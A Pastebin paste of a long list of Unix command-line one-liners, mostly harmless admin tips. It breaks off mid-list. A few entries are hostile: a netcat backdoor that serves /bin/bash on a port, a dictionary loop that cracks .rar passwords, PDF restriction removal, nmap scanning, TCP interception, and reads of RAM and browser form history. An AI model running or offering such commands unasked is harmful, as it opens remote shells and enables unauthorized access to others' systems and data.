iscomsa

Cool Unix CLI | Command Line Interface

Jul 13th, 2018
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 284.76 KB | None | 0 0
  1.  
  2. # Run the last command as root
  3. sudo !!
  4.  
  5. # Serve current directory tree at http://$HOSTNAME:8000/
  6. python -m SimpleHTTPServer
  7.  
  8. # Save a file you edited in vim without the needed permissions
  9. :w !sudo tee %
  10.  
  11. # change to the previous working directory
  12. cd -
  13.  
  14. # Runs previous command but replacing
  15. ^foo^bar
  16.  
  17. # quickly backup or copy a file with bash
  18. cp filename{,.bak}
  19.  
  20. # mtr, better than traceroute and ping combined
  21. mtr google.com
  22.  
  23. # Check command history, but avoid running it
  24. !whatever:p
  25.  
  26. # Copy ssh keys to user@host to enable password-less ssh logins.
  27. $ssh-copy-id user@host
  28.  
  29. # Rapidly invoke an editor to write a long, complex, or tricky command
  30. ctrl-x e
  31.  
  32. # Capture video of a linux desktop
  33. ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
  34.  
  35. # Empty a file
  36. > file.txt
  37.  
  38. # Salvage a borked terminal
  39. reset
  40.  
  41. # start a tunnel from some machine's port 80 to your local post 2001
  42. ssh -N -L2001:localhost:80 somemachine
  43.  
  44. # Update twitter via curl
  45. curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
  46.  
  47. # Execute a command at a given time
  48. echo "ls -l" | at midnight
  49.  
  50. # output your microphone to a remote computer's speaker
  51. dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
  52.  
  53. # Mount a temporary ram partition
  54. mount -t tmpfs tmpfs /mnt -o size=1024m
  55.  
  56. # Compare a remote file with a local file
  57. ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
  58.  
  59. # Lists all listening ports together with the PID of the associated process
  60. netstat -tlnp
  61.  
  62. # currently mounted filesystems in nice layout
  63. mount | column -t
  64.  
  65. # Runs previous command replacing foo by bar every time that foo appears
  66. !!:gs/foo/bar
  67.  
  68. # Like top, but for files
  69. watch -d -n 2 'df; ls -FlAt;'
  70.  
  71. # Mount folder/filesystem through SSH
  72. sshfs name@server:/path/to/folder /path/to/mount/point
  73.  
  74. # Query Wikipedia via console over DNS
  75. dig +short txt <keyword>.wp.dg.cx
  76.  
  77.  
  78.  
  79. # Place the argument of the most recent command on the shell
  80. 'ALT+.' or '<ESC> .'
  81.  
  82. # Execute a command without saving it in the history
  83. <space>command
  84.  
  85. # Download an entire website
  86. wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
  87.  
  88. # List the size (in human readable form) of all sub folders from the current location
  89. du -h --max-depth=1
  90.  
  91. # Display the top ten running processes - sorted by memory usage
  92. ps aux | sort -nk +4 | tail
  93.  
  94. # Quick access to the ascii table.
  95. man ascii
  96.  
  97. # A very simple and useful stopwatch
  98. time read (ctrl-d to stop)
  99.  
  100. # Shutdown a Windows machine from Linux
  101. net rpc shutdown -I ipAddressOfWindowsPC -U username%password
  102.  
  103. # Jump to a directory, execute a command and jump back to current dir
  104. (cd /tmp && ls)
  105.  
  106. # SSH connection through host in the middle
  107. ssh -t reachable_host ssh unreachable_host
  108.  
  109. # Clear the terminal screen
  110. ctrl-l
  111.  
  112. # Set audible alarm when an IP address comes online
  113. ping -i 60 -a IP_address
  114.  
  115. # List of commands you use most often
  116. history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
  117.  
  118. # Check your unread Gmail from the command line
  119. curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
  120.  
  121. # Make 'less' behave like 'tail -f'.
  122. less +F somelogfile
  123.  
  124. # Reboot machine when everything is hanging
  125. <alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
  126.  
  127. # Watch Star Wars via telnet
  128. telnet towel.blinkenlights.nl
  129.  
  130. # Backticks are evil
  131. echo "The date is: $(date +%D)"
  132.  
  133. # Watch Network Service Activity in Real-time
  134. lsof -i
  135.  
  136. # python smtp server
  137. python -m smtpd -n -c DebuggingServer localhost:1025
  138.  
  139. # Rip audio from a video file.
  140. mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
  141.  
  142. # Simulate typing
  143. echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
  144.  
  145. # Display a block of text with AWK
  146. awk '/start_pattern/,/stop_pattern/' file.txt
  147.  
  148. # Matrix Style
  149. tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
  150.  
  151. # Easily search running processes (alias).
  152. alias 'ps?'='ps ax | grep '
  153.  
  154.  
  155.  
  156. # diff two unsorted files without creating temporary files
  157. diff <(sort file1) <(sort file2)
  158.  
  159. # Set CDPATH to ease navigation
  160. CDPATH=:..:~:~/projects
  161.  
  162. # A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
  163. sudo dd if=/dev/mem | cat | strings
  164.  
  165. # Extract tarball from internet without local saving
  166. wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
  167.  
  168. # Close shell keeping all subprocess running
  169. disown -a && exit
  170.  
  171. # Copy your SSH public key on a remote machine for passwordless login - the easy way
  172. ssh-copy-id username@hostname
  173.  
  174. # Display which distro is installed
  175. cat /etc/issue
  176.  
  177. # Stream YouTube URL directly to mplayer.
  178. mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")
  179.  
  180. # Sharing file through http 80 port
  181. nc -w 5 -v -l -p 80 < file.ext
  182.  
  183. # Create a script of the last executed command
  184. echo "!!" > foo.sh
  185.  
  186. # Kills a process that is locking a file.
  187. fuser -k filename
  188.  
  189. # Inserts the results of an autocompletion in the command line
  190. ESC *
  191.  
  192. # Find the process you are looking for minus the grepped one
  193. ps aux | grep [p]rocess-name
  194.  
  195. # Graph # of connections for each hosts.
  196. netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
  197.  
  198. # Show apps that use internet connection at the moment. (Multi-Language)
  199. lsof -P -i -n
  200.  
  201. # Push your present working directory to a stack that you can pop later
  202. pushd /tmp
  203.  
  204. # 32 bits or 64 bits?
  205. getconf LONG_BIT
  206.  
  207. # Reuse all parameter of the previous command line
  208. !*
  209.  
  210. # Display a cool clock on your terminal
  211. watch -t -n1 "date +%T|figlet"
  212.  
  213. # Create a CD/DVD ISO image from disk.
  214. readom dev=/dev/scd0 f=/path/to/image.iso
  215.  
  216. # Mount a .iso file in UNIX/Linux
  217. mount /path/to/file.iso /mnt/cdrom -oloop
  218.  
  219. # Define a quick calculator function
  220. ? () { echo "$*" | bc -l; }
  221.  
  222. # Convert seconds to human-readable format
  223. date -d@1234567890
  224.  
  225. # Graphical tree of sub-directories
  226. ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
  227.  
  228. # Google Translate
  229. translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
  230.  
  231.  
  232.  
  233. # Check your unread Gmail from the command line
  234. curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
  235.  
  236. # Create a backdoor on a machine to allow remote connection to bash
  237. nc -vv -l -p 1234 -e /bin/bash
  238.  
  239. # Monitor progress of a command
  240. pv access.log | gzip > access.log.gz
  241.  
  242. # Get the 10 biggest files/folders for the current direcotry
  243. du -s * | sort -n | tail
  244.  
  245. # Binary Clock
  246. watch -n 1 'echo "obase=2;`date +%s`" | bc'
  247.  
  248. # Job Control
  249. ^Z $bg $disown
  250.  
  251. # Remove duplicate entries in a file without sorting.
  252. awk '!x[$0]++' <file>
  253.  
  254. # Add Password Protection to a file your editing in vim.
  255. vim -x <FILENAME>
  256.  
  257. # Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
  258. du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
  259.  
  260. # escape any command aliases
  261. \[command]
  262.  
  263. # Run a command only when load average is below a certain threshold
  264. echo "rm -rf /unwanted-but-large/folder" | batch
  265.  
  266. # return external ip
  267. curl icanhazip.com
  268.  
  269. # Open Finder from the current Terminal location
  270. open .
  271.  
  272. # Bring the word under the cursor on the :ex line in Vim
  273. :<C-R><C-W>
  274.  
  275. # Generate a random password 30 characters long
  276. strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
  277.  
  278. # Show apps that use internet connection at the moment. (Multi-Language)
  279. ss -p
  280.  
  281. # Easy and fast access to often executed commands that are very long and complex.
  282. some_very_long_and_complex_command # label
  283.  
  284. # Send pop-up notifications on Gnome
  285. notify-send ["<title>"] "<body>"
  286.  
  287. # Create a persistent connection to a machine
  288. ssh -MNf <user>@<host>
  289.  
  290. # check site ssl certificate dates
  291. echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
  292.  
  293. # Get your external IP address
  294. curl ifconfig.me
  295.  
  296. # directly ssh to host B that is only accessible through host A
  297. ssh -t hostA ssh hostB
  298.  
  299. # Record a screencast and convert it to an mpeg
  300. ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
  301.  
  302. # Manually Pause/Unpause Firefox Process with POSIX-Signals
  303. killall -STOP -m firefox
  304.  
  305. # which program is this port belongs to ?
  306. lsof -i tcp:80
  307.  
  308.  
  309.  
  310. # Share a terminal screen with others
  311. % screen -r someuser/
  312.  
  313. # quickly rename a file
  314. mv filename.{old,new}
  315.  
  316. # read manpage of a unix command as pdf in preview (Os X)
  317. man -t UNIX_COMMAND | open -f -a preview
  318.  
  319. # Processor / memory bandwidthd? in GB/s
  320. dd if=/dev/zero of=/dev/null bs=1M count=32768
  321.  
  322. # Download all images from a site
  323. wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
  324.  
  325. # intercept stdout/stderr of another process
  326. strace -ff -e trace=write -e write=1,2 -p SOME_PID
  327.  
  328. # Remove security limitations from PDF documents using ghostscript
  329. gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
  330.  
  331. # Pipe stdout and stderr, etc., to separate commands
  332. some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
  333.  
  334. # Attach screen over ssh
  335. ssh -t remote_host screen -r
  336.  
  337. # Show a 4-way scrollable process tree with full details.
  338. ps awwfux | less -S
  339.  
  340. # Edit a file on a remote host using vim
  341. vim scp://username@host//path/to/somefile
  342.  
  343. # Monitor the queries being run by MySQL
  344. watch -n 1 mysqladmin --user=<user> --password=<password> processlist
  345.  
  346. # Print all the lines between 10 and 20 of a file
  347. sed -n '10,20p' <filename>
  348.  
  349. # A robust, modular log coloriser
  350. ccze
  351.  
  352. # To print a specific line from a file
  353. sed -n 5p <file>
  354.  
  355. # Remove all files previously extracted from a tar(.gz) file.
  356. tar -tf <file.tar.gz> | xargs rm -r
  357.  
  358. # Gets a random Futurama quote from /.
  359. curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
  360.  
  361. # find geographical location of an ip address
  362. lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
  363.  
  364. # Make directory including intermediate directories
  365. mkdir -p a/long/directory/path
  366.  
  367. # Prettify an XML file
  368. tidy -xml -i -m [file]
  369.  
  370. # Alias HEAD for automatic smart output
  371. alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
  372.  
  373. # prints line numbers
  374. nl
  375.  
  376. # Search commandlinefu.com from the command line using the API
  377. cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
  378.  
  379. # Backup all MySQL Databases to individual files
  380. for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
  381.  
  382. # Port Knocking!
  383. knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
  384.  
  385.  
  386.  
  387. # (Debian/Ubuntu) Discover what package a file belongs to
  388. dpkg -S /usr/bin/ls
  389.  
  390. # Eavesdrop on your system
  391. diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
  392.  
  393. # Exclude .svn, .git and other VCS junk for a pristine tarball
  394. tar --exclude-vcs -cf src.tar src/
  395.  
  396. # List only the directories
  397. ls -d */
  398.  
  399. # Find Duplicate Files (based on size first, then MD5 hash)
  400. find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
  401.  
  402. # Draw a Sierpinski triangle
  403. perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
  404.  
  405. # Colorized grep in less
  406. grep --color=always | less -R
  407.  
  408. # Add timestamp to history
  409. export HISTTIMEFORMAT="%F %T "
  410.  
  411. # Perform a branching conditional
  412. true && { echo success;} || { echo failed; }
  413.  
  414. # Block known dirty hosts from reaching your machine
  415. wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
  416.  
  417. # Display a list of committers sorted by the frequency of commits
  418. svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
  419.  
  420. # make directory tree
  421. mkdir -p work/{d1,d2}/{src,bin,bak}
  422.  
  423. # List the number and type of active network connections
  424. netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
  425.  
  426. # Press Any Key to Continue
  427. read -sn 1 -p "Press any key to continue..."
  428.  
  429. # Run a file system check on your next boot.
  430. sudo touch /forcefsck
  431.  
  432. # Show apps that use internet connection at the moment.
  433. lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
  434.  
  435. # send echo to socket network
  436. echo "foo" > /dev/tcp/192.168.1.2/25
  437.  
  438. # Cracking a password protected .rar file
  439. for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
  440.  
  441. # Create a nifty overview of the hardware in your computer
  442. lshw -html > hardware.html
  443.  
  444. # exit without saving history
  445. kill -9 $$
  446.  
  447. # Use lynx to run repeating website actions
  448. lynx -accept_all_cookies -cmd_script=/your/keystroke-file
  449.  
  450. # Save your sessions in vim to resume later
  451. :mksession! <filename>
  452.  
  453. # runs a bash script in debugging mode
  454. bash -x ./post_to_commandlinefu.sh
  455.  
  456. # Convert PDF to JPG
  457. for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
  458.  
  459. # Create a quick back-up copy of a file
  460. cp file.txt{,.bak}
  461.  
  462.  
  463.  
  464. # Delete all files in a folder that don't match a certain file extension
  465. rm !(*.foo|*.bar|*.baz)
  466.  
  467. # Create colorized html file from Vim or Vimdiff
  468. :TOhtml
  469.  
  470. # Define words and phrases with google.
  471. define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
  472.  
  473. # perl one-liner to get the current week number
  474. date +%V
  475.  
  476. # Listen to BBC Radio from the command line.
  477. bbcradio() { local s;echo "Select a station:";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
  478.  
  479. # Go to parent directory of filename edited in last command
  480. cd !$:h
  481.  
  482. # Compare two directory trees.
  483. diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
  484.  
  485. # Search recursively to find a word or phrase in certain file types, such as C code
  486. find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
  487.  
  488. # delete a line from your shell history
  489. history -d
  490.  
  491. # List recorded formular fields of Firefox
  492. cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
  493.  
  494. # Create a single-use TCP (or UDP) proxy
  495. nc -l -p 2000 -c "nc example.org 3000"
  496.  
  497. # Instead of writing a multiline if/then/else/fi construct you can do that by one line
  498. [[ test_condition ]] && if_true_do_this || otherwise_do_that
  499.  
  500. # Get info about remote host ports and OS detection
  501. nmap -sS -P0 -sV -O <target>
  502.  
  503. # Copy a MySQL Database to a new Server via SSH with one command
  504. mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
  505.  
  506. # Use tee + process substitution to split STDOUT to multiple commands
  507. some_command | tee >(command1) >(command2) >(command3) ... | command4
  508.  
  509. # Speed up launch of firefox
  510. find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
  511.  
  512. # Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
  513. cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
  514.  
  515. # April Fools' Day Prank
  516. PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
  517.  
  518. # easily find megabyte eating files or directories
  519. alias dush="du -sm *|sort -n|tail"
  520.  
  521. # Show File System Hierarchy
  522. man hier
  523.  
  524. # Colorful man
  525. apt-get install most && update-alternatives --set pager /usr/bin/most
  526.  
  527. # Create an audio test CD of sine waves from 1 to 99 Hz
  528. (echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
  529.  
  530. # Monitor bandwidth by pid
  531. nethogs -p eth0
  532.  
  533. # Clean up poorly named TV shows.
  534. rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
  535.  
  536. # convert unixtime to human-readable
  537. date -d @1234567890
  538.  
  539.  
  540.  
  541. # Show current working directory of a process
  542. pwdx pid
  543.  
  544. # Diff on two variables
  545. diff <(echo "$a") <(echo "$b")
  546.  
  547. # Recursively change permissions on files, leave directories alone.
  548. find ./ -type f -exec chmod 644 {} \;
  549.  
  550. # List all files opened by a particular command
  551. lsof -c dhcpd
  552.  
  553. # Nicely display permissions in octal format with filename
  554. stat -c '%A %a %n' *
  555.  
  556. # Base conversions with bc
  557. echo "obase=2; 27" | bc -l
  558.  
  559. # Brute force discover
  560. sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
  561.  
  562. # Remind yourself to leave in 15 minutes
  563. leave +15
  564.  
  565. # Find files that have been modified on your system in the past 60 minutes
  566. sudo find / -mmin 60 -type f
  567.  
  568. # Start a command on only one CPU core
  569. taskset -c 0 your_command
  570.  
  571. # Show biggest files/directories, biggest first with 'k,m,g' eyecandy
  572. du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
  573.  
  574. # How to establish a remote Gnu screen session that you can re-connect to
  575. ssh -t user@some.domain.com /usr/bin/screen -xRR
  576.  
  577. # Intercept, monitor and manipulate a TCP connection.
  578. mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
  579.  
  580. # Analyse an Apache access log for the most common IP addresses
  581. tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
  582.  
  583. # Colored diff ( via vim ) on 2 remotes files on your local computer.
  584. vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf
  585.  
  586. # View the newest xkcd comic.
  587. xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
  588.  
  589. # Get your external IP address
  590. curl ip.appspot.com
  591.  
  592. # Execute a command with a timeout
  593. timeout 10 sleep 11
  594.  
  595. # Search for a <pattern> string inside all files in the current directory
  596. grep -RnisI <pattern> *
  597.  
  598. # Find files that were modified by a given command
  599. touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
  600.  
  601. # use vim to get colorful diff output
  602. svn diff | view -
  603.  
  604. # Find Duplicate Files (based on MD5 hash)
  605. find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
  606.  
  607. # Quickly (soft-)reboot skipping hardware checks
  608. /sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
  609.  
  610. # Have an ssh session open forever
  611. autossh -M50000 -t server.example.com 'screen -raAd mysession'
  612.  
  613. # replace spaces in filenames with underscores
  614. rename 'y/ /_/' *
  615.  
  616.  
  617.  
  618. # Save an HTML page, and covert it to a .pdf file
  619. wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
  620.  
  621. # DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
  622. find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
  623.  
  624. # Relocate a file or directory, but keep it accessible on the old location throug a simlink.
  625. mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
  626.  
  627. # Search for commands from the command line
  628. clfu-seach <search words>
  629.  
  630. # a short counter
  631. yes '' | cat -n
  632.  
  633. # Resume scp of a big file
  634. rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
  635.  
  636. # Put readline into vi mode
  637. set -o vi
  638.  
  639. # recursive search and replace old with new string, inside files
  640. $ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
  641.  
  642. # shut of the screen.
  643. xset dpms force standby
  644.  
  645. # List the files any process is using
  646. lsof +p xxxx
  647.  
  648. # Delete all empty lines from a file with vim
  649. :g/^$/d
  650.  
  651. # View facebook friend list [hidden or not hidden]
  652. lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
  653.  
  654. # Insert the last argument of the previous command
  655. <ESC> .
  656.  
  657. # live ssh network throughput test
  658. yes | pv | ssh $host "cat > /dev/null"
  659.  
  660. # Duplicate several drives concurrently
  661. dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
  662.  
  663. # redirect stdout and stderr each to separate files and print both to the screen
  664. (some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
  665.  
  666. # find all active IP addresses in a network
  667. nmap -sP 192.168.0.*
  668.  
  669. # Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string'
  670. tr : '\n' <<<$PATH
  671.  
  672. # check open ports
  673. lsof -Pni4 | grep LISTEN
  674.  
  675. # Triple monitoring in screen
  676. tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile
  677.  
  678. # throttle bandwidth with cstream
  679. tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
  680.  
  681. # Quickly graph a list of numbers
  682. gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
  683.  
  684. # When feeling down, this command helps
  685. sl
  686.  
  687. # Install a Firefox add-on/theme to all users
  688. sudo firefox -install-global-extension /path/to/add-on
  689.  
  690. # ls -hog --> a more compact ls -l
  691. ls -hog
  692.  
  693.  
  694.  
  695. # Transfer SSH public key to another machine in one step
  696. ssh-keygen; ssh-copy-id user@host; ssh user@host
  697.  
  698. # iso-8859-1 to utf-8 safe recursive rename
  699. detox -r -s utf_8 /path/to/old/win/files/dir
  700.  
  701. # Terminate a frozen SSH-session
  702. RETURN~.
  703.  
  704. # Get Cisco network information
  705. tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
  706.  
  707. # Copy stdin to your X11 buffer
  708. ssh user@host cat /path/to/some/file | xclip
  709.  
  710. # Download an entire static website to your local machine
  711. wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
  712.  
  713. # Copy a file structure without files
  714. find * -type d -exec mkdir /where/you/wantem/\{\} \;
  715.  
  716. # Get list of servers with a specific port open
  717. nmap -sT -p 80 -oG - 192.168.1.* | grep open
  718.  
  719. # Start a new command in a new screen window
  720. alias s='screen -X screen'; s top; s vi; s man ls;
  721.  
  722. # Efficiently print a line deep in a huge log file
  723. sed '1000000!d;q' < massive-log-file.log
  724.  
  725. # Get your outgoing IP address
  726. dig +short myip.opendns.com @resolver1.opendns.com
  727.  
  728. # Makes the permissions of file2 the same as file1
  729. chmod --reference file1 file2
  730.  
  731. # Recursively remove all empty directories
  732. find . -type d -empty -delete
  733.  
  734. # View network activity of any application or user in realtime
  735. lsof -r 2 -p PID -i -a
  736.  
  737. # Convert text to picture
  738. echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3 text.gif
  739.  
  740. # your terminal sings
  741. echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140
  742.  
  743. # a shell function to print a ruler the width of the terminal window.
  744. ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }
  745.  
  746. # Print a list of standard error codes and descriptions.
  747. perl -le 'print $!+0, "\t", $!++ for 0..127'
  748.  
  749. # track flights from the command line
  750. flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
  751.  
  752. # analyze traffic remotely over ssh w/ wireshark
  753. ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
  754.  
  755. # Harder, Faster, Stronger SSH clients
  756. ssh -4 -C -c blowfish-cbc
  757.  
  758. # quickest (i blv) way to get the current program name minus the path (BASH)
  759. path_stripped_programname="${0##*/}"
  760.  
  761. # A function to output a man page as a pdf file
  762. function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
  763.  
  764. # a trash function for bash
  765. trash <file>
  766.  
  767. # backup all your commandlinefu.com favourites to a plaintext file
  768. clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
  769.  
  770.  
  771.  
  772. # Remove blank lines from a file using grep and save output to new file
  773. grep . filename > newfilename
  774.  
  775. # Identify long lines in a file
  776. awk 'length>72' file
  777.  
  778. # Cleanup firefox's database.
  779. find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
  780.  
  781. # get all pdf and zips from a website using wget
  782. wget --reject html,htm --accept pdf,zip -rl1 url
  783.  
  784. # Release memory used by the Linux kernel on caches
  785. free && sync && echo 3 > /proc/sys/vm/drop_caches && free
  786.  
  787. # Show me a histogram of the busiest minutes in a log file:
  788. cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
  789.  
  790. # pipe output of a command to your clipboard
  791. some command|xsel --clipboard
  792.  
  793. # Print a great grey scale demo !
  794. yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
  795.  
  796. # coloured tail
  797. tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
  798.  
  799. # create an emergency swapfile when the existing swap space is getting tight
